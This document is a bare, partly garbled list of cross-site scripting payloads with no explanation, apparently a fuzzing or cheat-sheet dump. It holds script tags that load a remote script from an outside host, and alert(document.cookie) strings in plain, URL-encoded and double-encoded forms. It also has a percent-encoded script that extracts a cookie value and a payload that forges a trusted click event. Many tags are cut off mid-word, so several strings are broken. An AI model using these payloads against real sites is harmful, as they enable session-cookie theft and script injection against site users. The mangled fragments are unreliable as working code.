"> “> "> "> "> "> <% foo>

<% %>/alert(2) '> ' PT SRC="http://ha.ckers.org/xss.js"> < '">' PT SRC="http://ha.ckers.org/xss.js"> < &safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510 < PT SRC="http://ha.ckers.org/xss.js"> ;1 %253cscript%253ealert(document.cookie)%253c/script%253e “>alert(document.cookie) “> “>< foo ipt>alert(document.cookie)ipt> "> "> < '> '> ";alert('XSS');// %3cscript%3ealert("XSS");%3c/script%3e %3cscript%3ealert(document.cookie);%3c%2fscript%3e %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E <script>alert(document.cookie); <script>alert(document.cookie);<script>alert ipt>alert('XSS');ipt> "> '"> '"> '""> <<< '>"> } < < x” <%73%63%72%69%70%74> %64 = %64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22); %64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65)); %61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65 = '(%2e%2a%3f)'%22)[%31]); # # MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{alert(Safe.get());};getElementById(%22safe123%22).click(test);# # %23